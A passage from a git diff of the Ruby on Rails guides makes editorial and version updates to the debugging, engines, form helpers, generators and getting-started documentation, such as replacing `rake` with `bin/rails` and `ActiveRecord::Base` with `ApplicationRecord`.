-learn about a particular `set` command. + List of supported settings: + + autosave -- Automatically save command history record on exit + autolist -- Invoke list command on every stop + width -- Number of characters per line in byebug's output + autoirb -- Invoke IRB on every stop + basename -- <file>:<line> information after every stop uses short paths + linetrace -- Enable line execution tracing + autopry -- Invoke Pry on every stop + stack_on_error -- Display stack trace when `eval` raises an exception + fullpath -- Display full file names in backtraces + histfile -- File where cmd history is saved to. Default: ./.byebug_history + listsize -- Set number of source lines to list by default + post_mortem -- Enable/disable post-mortem mode + callstyle -- Set how you want method call parameters to be displayed + histsize -- Maximum number of commands that can be stored in byebug history + savefile -- File where settings are saved to. Default: ~/.byebug_save +``` TIP: You can save these settings in an `.byebugrc` file in your home directory. The debugger reads these global settings when it starts. For example: ```bash -set forcestep +set callstyle short set listsize 25 ``` @@ -809,7 +849,7 @@ controller. The console would be rendered next to your HTML content. ### Console -Inside any controller action or view, you can then invoke the console by +Inside any controller action or view, you can invoke the console by calling the `console` method. For example, in a controller: @@ -835,7 +875,7 @@ This will render a console inside your view. You don't need to care about the location of the `console` call; it won't be rendered on the spot of its invocation but next to your HTML content. -The console executes pure Ruby code. You can define and instantiate +The console executes pure Ruby code: You can define and instantiate custom classes, create new models and inspect variables. NOTE: Only one console can be rendered per request. Otherwise `web-console` @@ -860,7 +900,7 @@ to use it in production. Debugging Memory Leaks ---------------------- -A Ruby application (on Rails or not), can leak memory - either in the Ruby code +A Ruby application (on Rails or not), can leak memory — either in the Ruby code or at the C code level. In this section, you will learn how to find and fix such leaks by using tool @@ -868,8 +908,8 @@ such as Valgrind. ### Valgrind -[Valgrind](http://valgrind.org/) is a Linux-only application for detecting -C-based memory leaks and race conditions. +[Valgrind](http://valgrind.org/) is an application for detecting C-based memory +leaks and race conditions. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C @@ -891,7 +931,7 @@ footnotes that give request information and link back to your source via TextMate. * [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query origin tracing to your logs. -* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin +* [Query Reviewer](https://github.com/nesquena/query_reviewer) This Rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. @@ -903,7 +943,7 @@ standard Rails error page with a new one containing more contextual information, like source code and variable inspection. * [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails development that will end your tailing of development.log. Have all information -about your Rails app requests in the browser - in the Developer Tools panel. +about your Rails app requests in the browser — in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more. diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md index 989b29956c..cc24e6f666 100644 --- a/guides/source/development_dependencies_install.md +++ b/guides/source/development_dependencies_install.md @@ -9,7 +9,7 @@ After reading this guide, you will know: * How to set up your machine for Rails development * How to run specific groups of unit tests from the Rails test suite -* How the ActiveRecord portion of the Rails test suite operates +* How the Active Record portion of the Rails test suite operates -------------------------------------------------------------------------------- @@ -21,16 +21,15 @@ The easiest and recommended way to get a development environment ready to hack i The Hard Way ------------ -In case you can't use the Rails development box, see section above, these are the steps to manually build a development box for Ruby on Rails core development. +In case you can't use the Rails development box, see section below, these are the steps to manually build a development box for Ruby on Rails core development. ### Install Git Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git: * [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics. -* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git +* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git. * [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by. -* The [PeepCode screencast](https://peepcode.com/products/git) on Git is easier to follow. * [GitHub](http://help.github.com) offers links to a variety of Git resources. * [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license. @@ -60,7 +59,7 @@ In Ubuntu you're done with just: $ sudo apt-get install sqlite3 libsqlite3-dev ``` -And if you are on Fedora or CentOS, you're done with +If you are on Fedora or CentOS, you're done with ```bash $ sudo yum install sqlite3 sqlite3-devel @@ -165,7 +164,7 @@ $ bundle exec ruby -Itest path/to/test.rb -n test_name ### Active Record Setup -The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them. +Active Record's test suite runs three times: once for SQLite3, once for MySQL, and once for PostgreSQL. We are going to see now how to set up the environment for them. WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. @@ -190,7 +189,7 @@ Follow the instructions given by Homebrew to start these. In Ubuntu just run: ```bash -$ sudo apt-get install mysql-server libmysqlclient15-dev +$ sudo apt-get install mysql-server libmysqlclient-dev $ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev ``` @@ -213,7 +212,7 @@ FreeBSD users will have to run the following: ```bash # pkg install mysql56-client mysql56-server -# pkg install postgresql93-client postgresql93-server +# pkg install postgresql94-client postgresql94-server ``` Or install them through ports (they are located under the `databases` folder). diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml index 7ae3640937..a5b8a75509 100644 --- a/guides/source/documents.yaml +++ b/guides/source/documents.yaml @@ -11,7 +11,7 @@ - name: Active Record Basics url: active_record_basics.html - description: This guide will get you started with models, persistence to database and the Active Record pattern and library. + description: This guide will get you started with models, persistence to database, and the Active Record pattern and library. - name: Active Record Migrations url: active_record_migrations.html @@ -19,7 +19,7 @@ - name: Active Record Validations url: active_record_validations.html - description: This guide covers how you can use Active Record validations + description: This guide covers how you can use Active Record validations. - name: Active Record Callbacks url: active_record_callbacks.html @@ -74,7 +74,7 @@ - name: Rails Internationalization API url: i18n.html - description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on. + description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on. - name: Action Mailer Basics url: action_mailer_basics.html @@ -82,7 +82,7 @@ - name: Active Job Basics url: active_job_basics.html - description: This guide provides you with all you need to get started in creating, enqueueing and executing background jobs. + description: This guide provides you with all you need to get started creating, enqueuing, and executing background jobs. - name: Testing Rails Applications work_in_progress: true @@ -116,12 +116,16 @@ name: The Rails Initialization Process work_in_progress: true url: initialization.html - description: This guide explains the internals of the Rails initialization process as of Rails 4 + description: This guide explains the internals of the Rails initialization process. - name: Autoloading and Reloading Constants url: autoloading_and_reloading_constants.html description: This guide documents how autoloading and reloading constants work. - + name: "Caching with Rails: An Overview" + url: caching_with_rails.html + description: This guide is an introduction to speeding up your Rails application with caching. + - name: Active Support Instrumentation work_in_progress: true url: active_support_instrumentation.html @@ -131,6 +135,14 @@ work_in_progress: true url: profiling.html description: This guide explains how to profile your Rails applications to improve performance. + - + name: Using Rails for API-only Applications + url: api_app.html + description: This guide explains how to effectively use Rails to develop a JSON API application. + - + name: Action Cable Overview + url: action_cable_overview.html + description: This guide explains how Action Cable works, and how to use WebSockets to create real-time features. - name: Extending Rails diff --git a/guides/source/engines.md b/guides/source/engines.md index 84017d5e13..eafac4828c 100644 --- a/guides/source/engines.md +++ b/guides/source/engines.md @@ -150,7 +150,7 @@ When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`: ```ruby -gem 'blorgh', path: "vendor/engines/blorgh" +gem 'blorgh', path: 'engines/blorgh' ``` Don't forget to run `bundle install` as usual. By specifying it as a gem within @@ -239,6 +239,27 @@ NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines. +NOTE: Because of the way that Ruby does constant lookup you may run into a situation +where your engine controller is inheriting from the main application controller and +not your engine's application controller. Ruby is able to resolve the `ApplicationController` constant, and therefore the autoloading mechanism is not triggered. See the section [When Constants Aren't Missed](autoloading_and_reloading_constants.html#when-constants-aren-t-missed) of the [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html) guide for further details. The best way to prevent this from +happening is to use `require_dependency` to ensure that the engine's application +controller is loaded. For example: + +``` ruby +# app/controllers/blorgh/articles_controller.rb: +require_dependency "blorgh/application_controller" + +module Blorgh + class ArticlesController < ApplicationController + ... + end +end +``` + +WARNING: Don't use `require` because it will break the automatic reloading of classes +in the development environment - using `require_dependency` ensures that classes are +loaded and unloaded in the correct manner. + Lastly, the `app/views` directory contains a `layouts` folder, which contains a file at `blorgh/application.html.erb`. This file allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you @@ -368,7 +389,7 @@ called `Blorgh::ArticlesController` (at `app/controllers/blorgh/articles_controller.rb`) and its related views at `app/views/blorgh/articles`. This generator also generates a test for the controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper -(`app/helpers/blorgh/articles_controller.rb`). +(`app/helpers/blorgh/articles_helper.rb`). Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module: @@ -381,8 +402,8 @@ module Blorgh end ``` -NOTE: The `ApplicationController` class being inherited from here is the -`Blorgh::ApplicationController`, not an application's `ApplicationController`. +NOTE: The `ArticlesController` class inherits from +`Blorgh::ApplicationController`, not the application's `ApplicationController`. The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced: @@ -402,16 +423,7 @@ Finally, the assets for this resource are generated in two files: `app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little later. -By default, the scaffold styling is not applied to the engine because the -engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't -load it. To make the scaffold styling apply, insert this line into the `<head>` -tag of this layout: - -```erb -<%= stylesheet_link_tag "scaffold" %> -``` - -You can see what the engine has so far by running `rake db:migrate` at the root +You can see what the engine has so far by running `bin/rails db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/articles` you will see the default scaffold that has @@ -449,7 +461,7 @@ model, a comment controller and then modify the articles scaffold to display comments and allow people to create new ones. From the application root, run the model generator. Tell it to generate a -`Comment` model, with the related table having two columns: a `article_id` integer +`Comment` model, with the related table having two columns: an `article_id` integer and `text` text column. ```bash @@ -473,7 +485,7 @@ called `Blorgh::Comment`. Now run the migration to create our blorgh_comments table: ```bash -$ rake db:migrate +$ bin/rails db:migrate ``` To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and @@ -496,7 +508,7 @@ Turning the model into this: ```ruby module Blorgh - class Article < ActiveRecord::Base + class Article < ApplicationRecord has_many :comments end end @@ -591,7 +603,7 @@ the comments, however, is not quite right yet. If you were to create a comment right now, you would see this error: ``` -Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], +Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * "/Users/ryan/Sites/side_projects/blorgh/app/views" @@ -600,7 +612,7 @@ Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw -this error. The engine knows to look for `blorgh/comments/comment` because the +this error. The engine knows to look for `blorgh/comments/_comment` because the model object it is receiving is from the `Blorgh::Comment` class. This partial will be responsible for rendering just the comment text, for now. @@ -648,7 +660,7 @@ However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`: ```ruby -gem 'blorgh', path: "/path/to/blorgh" +gem 'blorgh', path: 'engines/blorgh' ``` Then run `bundle` to install the gem. @@ -679,17 +691,17 @@ pre-defined path which may be customizable. The engine contains migrations for the `blorgh_articles` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the -application use this command: +application run the following command from the `test/dummy` directory of your Rails engine: ```bash -$ rake blorgh:install:migrations +$ bin/rails blorgh:install:migrations ``` If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead: ```bash -$ rake railties:install:migrations +$ bin/rails railties:install:migrations ``` This command, when run for the first time, will copy over all the migrations @@ -698,8 +710,8 @@ haven't been copied over already. The first run for this command will output something such as this: ```bash -Copied migration [timestamp_1]_create_blorgh_articles.rb from blorgh -Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh +Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh ``` The first timestamp (`[timestamp_1]`) will be the current time, and the second @@ -707,7 +719,7 @@ timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. -To run these migrations within the context of the application, simply run `rake +To run these migrations within the context of the application, simply run `bin/rails db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the articles will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the @@ -718,14 +730,14 @@ If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`: ```bash -rake db:migrate SCOPE=blorgh +bin/rails db:migrate SCOPE=blorgh ``` This may be useful if you want to revert engine's migrations before removing it. To revert all migrations from blorgh engine you can run code such as: ```bash -rake db:migrate SCOPE=blorgh VERSION=0 +bin/rails db:migrate SCOPE=blorgh VERSION=0 ``` ### Using a Class Provided by the Application @@ -752,7 +764,7 @@ application: rails g model user name:string ``` -The `rake db:migrate` command needs to be run here to ensure that our +The `bin/rails db:migrate` command needs to be run here to ensure that our application has the `users` table for future use. Also, to keep it simple, the articles form will have a new text field called @@ -787,7 +799,7 @@ before the article is saved. It will also need to have an `attr_accessor` set up for this field, so that the setter and getter methods are defined for it. To do all this, you'll need to add the `attr_accessor` for `author_name`, the -association for the author and the `before_save` call into +association for the author and the `before_validation` call into `app/models/blorgh/article.rb`. The `author` association will be hard-coded to the `User` class for the time being. @@ -795,7 +807,7 @@ association for the author and the `before_save` call into attr_accessor :author_name belongs_to :author, class_name: "User" -before_save :set_author +before_validation :set_author private def set_author @@ -824,24 +836,22 @@ This migration will need to be run on the application. To do that, it must first be copied using this command: ```bash -$ rake blorgh:install:migrations +$ bin/rails blorgh:install:migrations ``` Notice that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. ``` -NOTE Migration [timestamp]_create_blorgh_articles.rb from blorgh has been -skipped. Migration with the same name already exists. NOTE Migration -[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration -with the same name already exists. Copied migration -[timestamp]_add_author_id_to_blorgh_articles.rb from blorgh +NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. +NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. +Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh ``` Run the migration using: ```bash -$ rake db:migrate +$ bin/rails db:migrate ``` Now with all the pieces in place, an action will take place that will associate @@ -854,28 +864,10 @@ above the "Title" output inside `app/views/blorgh/articles/show.html.erb`: ```html+erb <p> <b>Author:</b> - <%= @article.author %> + <%= @article.author.name %> </p> ``` -By outputting `@article.author` using the `<%=` tag, the `to_s` method will be -called on the object. By default, this will look quite ugly: - -``` -#<User:0x00000100ccb3b0> -``` - -This is undesirable. It would be much better to have the user's name there. To -do this, add a `to_s` method to the `User` class within the application: - -```ruby -def to_s - name -end -``` - -Now instead of the ugly Ruby object output, the author's name will be displayed. - #### Using a Controller Provided by the Application Because Rails controllers generally share code for things like authentication @@ -1041,9 +1033,11 @@ typical `GET` to a controller in a controller's functional test like this: ```ruby module Blorgh - class FooControllerTest < ActionController::TestCase + class FooControllerTest < ActionDispatch::IntegrationTest + include Engine.routes.url_helpers + def test_index - get :index + get foos_url ... end end @@ -1057,13 +1051,15 @@ in your setup code: ```ruby module Blorgh - class FooControllerTest < ActionController::TestCase + class FooControllerTest < ActionDispatch::IntegrationTest + include Engine.routes.url_helpers + setup do @routes = Engine.routes end def test_index - get :index + get foos_url ... end end @@ -1137,7 +1133,7 @@ end ```ruby # Blorgh/app/models/article.rb -class Article < ActiveRecord::Base +class Article < ApplicationRecord has_many :comments end ``` @@ -1158,7 +1154,7 @@ end ```ruby # Blorgh/app/models/article.rb -class Article < ActiveRecord::Base +class Article < ApplicationRecord has_many :comments def summary "#{title}" @@ -1179,7 +1175,7 @@ classes at run time allowing you to significantly modularize your code. ```ruby # MyApp/app/models/blorgh/article.rb -class Blorgh::Article < ActiveRecord::Base +class Blorgh::Article < ApplicationRecord include Blorgh::Concerns::Models::Article def time_since_created @@ -1195,13 +1191,13 @@ end ```ruby # Blorgh/app/models/article.rb -class Article < ActiveRecord::Base +class Article < ApplicationRecord include Blorgh::Concerns::Models::Article end ``` ```ruby -# Blorgh/lib/concerns/models/article +# Blorgh/lib/concerns/models/article.rb module Blorgh::Concerns::Models::Article extend ActiveSupport::Concern @@ -1213,7 +1209,7 @@ module Blorgh::Concerns::Models::Article attr_accessor :author_name belongs_to :author, class_name: "User" - before_save :set_author + before_validation :set_author private def set_author @@ -1362,7 +1358,7 @@ need to require `admin.css` or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorgh/admin.css"` in its stylesheets. In this situation, you should explicitly define these assets for precompilation. This tells sprockets to add -your engine assets when `rake assets:precompile` is triggered. +your engine assets when `bin/rails assets:precompile` is triggered. You can define assets for precompilation in `engine.rb`: diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md index c21a2ba613..048fe190e8 100644 --- a/guides/source/form_helpers.md +++ b/guides/source/form_helpers.md @@ -40,7 +40,9 @@ When called without arguments like this, it creates a `<form>` tag which, when s </form> ``` -You'll notice that the HTML contains `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element has name attribute of `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf). +You'll notice that the HTML contains an `input` element with type `hidden`. This `input` is important, because the form cannot be successfully submitted without it. The hidden input element with the name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their action is "GET" or "POST". + +The second input element with the name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the [Security Guide](security.html#cross-site-request-forgery-csrf). ### A Generic Search Form @@ -103,9 +105,9 @@ checkboxes, text fields, and radio buttons. These basic helpers, with names ending in `_tag` (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form -data, and will make its way to the `params` hash in the controller with the -value entered by the user for that field. For example, if the form contains `<%= -text_field_tag(:query) %>`, then you would be able to get the value of this +data, and will make its way to the `params` in the controller with the +value entered by the user for that field. For example, if the form contains +`<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`. When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html). @@ -172,7 +174,6 @@ URL fields, email fields, number fields and range fields: <%= search_field(:user, :name) %> <%= telephone_field(:user, :phone) %> <%= date_field(:user, :born_on) %> -<%= datetime_field(:user, :meeting_time) %> <%= datetime_local_field(:user, :graduation_day) %> <%= month_field(:user, :birthday_month) %> <%= week_field(:user, :birthday_week) %> @@ -193,7 +194,6 @@ Output: <input id="user_name" name="user[name]" type="search" /> <input id="user_phone" name="user[phone]" type="tel" /> <input id="user_born_on" name="user[born_on]" type="date" /> -<input id="user_meeting_time" name="user[meeting_time]" type="datetime" /> <input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" /> <input id="user_birthday_month" name="user[birthday_month]" type="month" /> <input id="user_birthday_week" name="user[birthday_week]" type="week" /> @@ -211,9 +211,8 @@ IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, email, number and range inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). -There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are -[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), -which provide a simple way to add functionality based on the presence of +There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a popular tool at the moment is +[Modernizr](https://modernizr.com/), which provides a simple way to add functionality based on the presence of detected HTML5 features. TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). @@ -241,7 +240,7 @@ Upon form submission the value entered by the user will be stored in `params[:pe WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. -Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](./active_record_validations.html#displaying-validation-errors-in-views) guide. +Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](active_record_validations.html#displaying-validation-errors-in-views) guide. ### Binding a Form to an Object @@ -282,7 +281,7 @@ The resulting HTML is: </form> ``` -The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section. +The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the [parameter_names section](#understanding-parameter-naming-conventions). The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. @@ -291,8 +290,8 @@ You can create a similar binding without actually creating `<form>` tags with th ```erb <%= form_for @person, url: {action: "create"} do |person_form| %> <%= person_form.text_field :name %> - <%= fields_for @person.contact_detail do |contact_details_form| %> - <%= contact_details_form.text_field :phone_number %> + <%= fields_for @person.contact_detail do |contact_detail_form| %> + <%= contact_detail_form.text_field :phone_number %> <% end %> <% end %> ``` @@ -316,7 +315,7 @@ The Article model is directly available to users of the application, so - follow resources :articles ``` -TIP: Declaring a resource has a number of side-affects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources. +TIP: Declaring a resource has a number of side effects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources. When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest: @@ -377,7 +376,7 @@ output: </form> ``` -When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example). +When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PATCH" in this example). Making Select Boxes with Ease ----------------------------- @@ -441,7 +440,7 @@ Whenever Rails sees that the internal value of an option being generated matches TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer `2` you cannot pass `"2"` to `options_for_select` - you must pass `2`. Be aware of values extracted from the `params` hash as they are all strings. -WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. +WARNING: When `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. You can add arbitrary attributes to the options using hashes: @@ -656,7 +655,7 @@ NOTE: If the user has not selected a file the corresponding parameter will be an ### Dealing with Ajax -Unlike other forms making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. +Unlike other forms, making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. Customizing Form Builders ------------------------- @@ -712,13 +711,6 @@ action for a Person model, `params[:person]` would usually be a hash of all the Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. -TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rack's parameter parser. For example, - -```ruby -Rack::Utils.parse_query "name=fred&phone=0123456789" -# => {"name"=>"fred", "phone"=>"0123456789"} -``` - ### Basic Structures The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains: @@ -886,12 +878,12 @@ Many apps grow beyond simple forms editing a single object. For example, when cr Active Record provides model level support via the `accepts_nested_attributes_for` method: ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord has_many :addresses accepts_nested_attributes_for :addresses end -class Address < ActiveRecord::Base +class Address < ApplicationRecord belongs_to :person end ``` @@ -979,7 +971,7 @@ private You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for` ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord has_many :addresses accepts_nested_attributes_for :addresses, allow_destroy: true end @@ -1020,7 +1012,7 @@ end It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set. ```ruby -class Person < ActiveRecord::Base +class Person < ApplicationRecord has_many :addresses accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?} end diff --git a/guides/source/generators.md b/guides/source/generators.md index 14f451cbc9..32bbdc554a 100644 --- a/guides/source/generators.md +++ b/guides/source/generators.md @@ -503,6 +503,14 @@ Adds a specified source to `Gemfile`: add_source "http://gems.github.com" ``` +This method also takes a block: + +```ruby +add_source "http://gems.github.com" do + gem "rspec-rails" +end +``` + ### `inject_into_file` Injects a block of code into a defined position in your file. diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md index fe01088b2e..65fdd7ca0d 100644 --- a/guides/source/getting_started.md +++ b/guides/source/getting_started.md @@ -23,9 +23,12 @@ application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: -* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer. -* The [RubyGems](https://rubygems.org) packaging system, which is installed with Ruby - versions 1.9 and later. To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org). +* The [Ruby](https://www.ruby-lang.org/en/downloads) language version 2.2.2 or newer. +* Right version of [Development Kit](http://rubyinstaller.org/downloads/), if you + are using Windows. +* The [RubyGems](https://rubygems.org) packaging system, which is installed with + Ruby by default. To learn more about RubyGems, please read the + [RubyGems Guides](http://guides.rubygems.org). * A working installation of the [SQLite3 Database](https://www.sqlite.org). Rails is a web application framework running on the Ruby programming language. @@ -34,7 +37,7 @@ curve diving straight into Rails. There are several curated lists of online reso for learning Ruby: * [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/) -* [reSRC's List of Free Programming Books](http://resrc.io/list/10/list-of-free-programming-books/#ruby) +* [List of Free Programming Books](https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md#ruby) Be aware that some resources, while still excellent, cover versions of Ruby as old as 1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day @@ -50,7 +53,7 @@ code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun. -Rails is opinionated software. It makes the assumption that there is the "best" +Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from @@ -69,10 +72,9 @@ The Rails philosophy includes two major guiding principles: Creating a New Rails Project ---------------------------- - -The best way to use this guide is to follow each step as it happens, no code or -step needed to make this example application has been left out, so you can -literally follow along step by step. +The best way to read this guide is to follow it step by step. All steps are +essential to run this example application and no additional code or steps are +needed. By following along with this guide, you'll create a Rails project called `blog`, a (very) simple weblog. Before you can start building the application, @@ -89,17 +91,17 @@ Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose dollar sign `$` should be run in the command line. Verify that you have a current version of Ruby installed: +```bash +$ ruby -v +ruby 2.3.1p112 +``` + TIP: A number of tools exist to help you quickly install Ruby and Ruby on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp). For more installation methods for most Operating Systems take a look at [ruby-lang.org](https://www.ruby-lang.org/en/documentation/installation/). -```bash -$ ruby -v -ruby 2.0.0p353 -``` - Many popular UNIX-like OSes ship with an acceptable version of SQLite3. On Windows, if you installed Rails through Rails Installer, you already have SQLite installed. Others can find installation instructions @@ -162,8 +164,8 @@ of the files and folders that Rails created by default: | File/Folder | Purpose | | ----------- | ------- | -|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.| -|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, deploy or run your application.| +|app/|Contains the controllers, models, views, helpers, mailers, channels, jobs and assets for your application. You'll focus on this folder for the remainder of this guide.| +|bin/|Contains the rails script that starts your app and can contain other scripts you use to setup, update, deploy or run your application.| |config/|Configure your 